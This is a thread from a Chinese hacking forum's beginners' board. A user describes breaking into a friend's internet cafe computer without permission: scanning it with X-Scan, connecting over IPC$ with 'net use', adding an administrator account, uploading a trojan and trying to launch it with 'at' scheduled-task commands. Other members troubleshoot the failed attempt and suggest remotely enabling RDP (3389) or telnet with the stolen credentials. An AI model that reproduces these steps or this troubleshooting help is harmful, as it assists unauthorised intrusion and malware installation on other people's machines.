论坛: 菜鸟乐园 标题: at与用户的使用方法????????????? 复制本贴地址    
作者: myjian [myjian]    论坛用户   登录
第一次入侵,用XSCAN扫了一个朋友的网吧,并用net use \\ip\ipc$ 上去了,还加了用户(m5jian),并加入administrators组,上传了木马(k.exe).然后:
c:>at \\61.188.209.*** 10:45 k.exe
c:>at \\61.188.209.*** 10:55 \\61.188.209.***\game\k.exe
c:>at z: 11:06 z:\k.exe
试了3次,都说"拒绝访问".但我却可以在z:(我映射的)上面删文件,怎么会拒绝访问?还有,加的这些用户好像没什么用??我在运行里输入:
\\61.188.209.***\c$(他有这个共享)
然后在弹出的对话框里输入刚刚加的用户和密码,没用!还是要输用户和密码,试了N次都是这样.害我只能在QQ里给朋友说:"看看你的管理员组是不是有个XXXXX用户啊??我已进入了哦!!!!!!!!"请问我的过程哪里有问题?谢谢!!!

地主 发表时间: 07/11 23:13

回复: badboy [badboy]   论坛用户   登录
NTFS分区里设置过了,拒绝别的用户访问吧。

B1层 发表时间: 07/16 16:45

回复: myjian [myjian]   论坛用户   登录
我晕.那不是就没办法了?这么容易就黑不了了???

B2层 发表时间: 07/17 16:11

回复: ypy [ypy]   见习版主   登录
我想你肯定是把用户加在自己上面了
是不是net use后直接在命令行下用net user了?

B3层 发表时间: 07/17 23:44

回复: hacker521 [hacker521]   论坛用户   登录
也不一定,我有时就算已经破解到密码和用户名,也进不了,原因至今不明

B4层 发表时间: 07/18 07:20

回复: myjian [myjian]   论坛用户   登录
呵呵,我就是
net use \\ip\ipc$
后就加了用户,现在在看了看,的确是加在自己机上了,呵呵~~~

真是个SB啊~~~

不过话说回来,那要怎么样才行呢??


[此贴被 小马(myjian) 在 07月18日16时26分 编辑过]

B5层 发表时间: 07/18 16:42

回复: hacker521 [hacker521]   论坛用户   登录
可能是打错字符了,我有时复制一个木马文件到对方的C盘,可在他C盘死都找不到上传的木马,倒在自己的C盘找到了.后来查明原来是自己打错字符了.

B6层 发表时间: 07/19 06:42

回复: myjian [myjian]   论坛用户   登录
我想不会是打错的原因。请你们看看:
net use \\IP\ipc$ ""/user:"zhang"
成功完成
copy kkk.exe \\ip\games\
成功完成
net time \\ip
20:05
at \\ip 20:10 kkk.exe
拒绝访问
晕。
还有,他有个ftp的账号是同名密码的。我在运行里:
ftp:\\ip   再输密码
就进去了,可以直接COPY文件,也可删文件,可是我就是运行不了。双击就在自己机上运行了,晕。
at 老是说拒绝访问,真是气人。这台机是黑不了还是怎么的哦?

B7层 发表时间: 07/19 20:10

回复: dupi [dupi]   论坛用户   登录
对方有没有把计划任务给禁用 也有可能是NTFS格式的用户加密过的

B8层 发表时间: 07/19 23:03

回复: linuX2003 [netyu]   论坛用户   登录
  很有可能是你没有磁盘的权限。

B9层 发表时间: 07/20 08:48

回复: myjian [myjian]   论坛用户   登录
那这么说来就是黑不了罗????

这只一个网吧哦,真的就没法搞定啊??

黑客不会只有这样的水平吧??

B10层 发表时间: 07/20 14:21

回复: fu414 [fu414]   论坛用户   登录
先建个用户,再远程开启它的3389呗,我经常这样搞的,可以省去上传文件,

B11层 发表时间: 07/20 17:09

回复: hcz [hcz]   论坛用户   登录
他没开计划任务

B12层 发表时间: 07/20 21:12

回复: napolun [napolun]   版主   登录
有了用户密码开telnet,自己运行就行了。

B13层 发表时间: 07/20 22:08

回复: woainiwjy [woainiwjy]   论坛用户   登录
我命名传上去了一个木马可就不运行不了啊,可能是防火墙吧,能不能用NET命令破解防火墙啊~

B14层 发表时间: 08/17 20:21

回复: jgplcgd [jgplcgd]   论坛用户   登录
要是装了天网这种防火墙,只要管理员不是傻B,你还是绝望吧

B15层 发表时间: 08/17 21:16

论坛: 菜鸟乐园

20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon

粤ICP备05087286号